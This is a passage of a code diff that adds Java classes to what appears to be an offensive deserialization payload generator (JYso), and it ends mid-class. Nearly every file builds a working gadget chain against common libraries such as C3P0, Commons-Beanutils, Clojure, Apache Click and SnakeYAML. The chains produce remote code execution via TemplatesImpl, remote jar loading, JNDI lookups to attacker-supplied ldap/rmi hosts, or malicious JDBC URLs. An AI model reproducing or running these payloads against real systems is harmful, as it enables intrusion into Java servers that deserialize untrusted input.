case "remoteJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "localJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "writeJar":
String[] parts = cmd.split(":");
try {
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
} catch (Exception e) {
throw new RuntimeException(e);
}
break;
case "c3p0Double":
try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) {
throw new RuntimeException(e);
}
break;
case "c3p0Jndi":
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: " + cmd + "\n" +
"loginTimeout: 0";
break;
case "jndi":
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: " + cmd + "\n" +
"autoCommit: true";
break;
}
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=load"));
ref.add(new StringRefAddr("QI4L", yaml));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,99 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P092 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,43 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JDBC implements ObjectPayload<Object> {
//private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
// "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
// "$$\n";
@Override
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
ComboPooledDataSource o = new ComboPooledDataSource();
o.setJdbcUrl(command);
o.setMaxIdleTime(1);
o.setMaxPoolSize(1);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(o, val);
return hashMap;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JNDI implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o,"jndiName",command);
Reflections.setFieldValue(o,"identityToken","exp");
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(o, val);
return hashMap;
}
}
@@ -0,0 +1,39 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
o.setJndiName(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(o, val);
return hashMap;
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
public class C3P0RefDataSource implements ObjectPayload{
@Override
public Object getObject(String command) throws Exception {
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
// // requires ordering
// Reflections.setFieldValue(obj, "jndiName", command);
// Reflections.setFieldValue(obj, "loginTimeout", 0);
// return obj;
return null;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Hex;
import javax.naming.Name;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.util.Hashtable;
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
return obj;
}
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}
}
@@ -0,0 +1,78 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
* <p>
* Chain:
* <p>
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* org.apache.click.control.Column$ColumnComparator.compare()
* org.apache.click.control.Column.getProperty()
* org.apache.click.control.Column.getProperty()
* org.apache.click.util.PropertyUtils.getValue()
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
* java.lang.reflect.Method.invoke()
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* ...
* <p>
* Arguments:
* - command to execute
* <p>
* Yields:
* - RCE via TemplatesImpl.getOutputProperties()
* <p>
* Requires:
* - Apache Click
* - servlet-api of any version
* <p>
* by @artsploit
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({Authors.ARTSPLOIT})
public class Click1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template;
template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template;
return queue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.JYso.gadgets;
import clojure.core$comp;
import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* HashMap.readObject()
* AbstractTableModel$ff19274a.hashCode()
* clojure.core$comp$fn__4727.invoke()
* clojure.core$constantly$fn__4614.invoke()
* clojure.main$eval_opt.invoke()
* <p>
* Requires:
* org.clojure:clojure
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({JACKOFMOSTTRADES})
public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<>();
targetMap.put(model, null);
fnMap.put("hashCode", (new core$comp())
.invoke(new main$eval_opt(), (new core$constantly())
.invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
}
@@ -0,0 +1,28 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({Authors.FROHOFF})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
Class beanCompareClazz = ctClass.toClass();
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
setFieldValue(comparator, "property", "lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
}
@@ -0,0 +1,46 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
ctBeanComparator.defrost();
return queue;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.math.BigInteger;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
public class CommonsBeanutils3 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
BeanComparator comparator = new BeanComparator("lowestSetBit");
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("QI4L");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
return queue;
}
}
@@ -0,0 +1,48 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("su18");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
ctBeanComparator.defrost();
return queue;
}
}
@@ -0,0 +1,38 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({"水滴"})
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1");
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,55 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
@Authors({"SummerSec"})
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1");
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,39 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.teradata.jdbc.TeraDataSource;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({Authors.QI4L})
public class CommonsBeanutilsJDBC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "connection");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = dataSource;
queueArray[1] = dataSource;
return queue;
}
}
@@ -0,0 +1,35 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
@Authors({"水滴"})
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
@Authors({"SummerSec"})
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
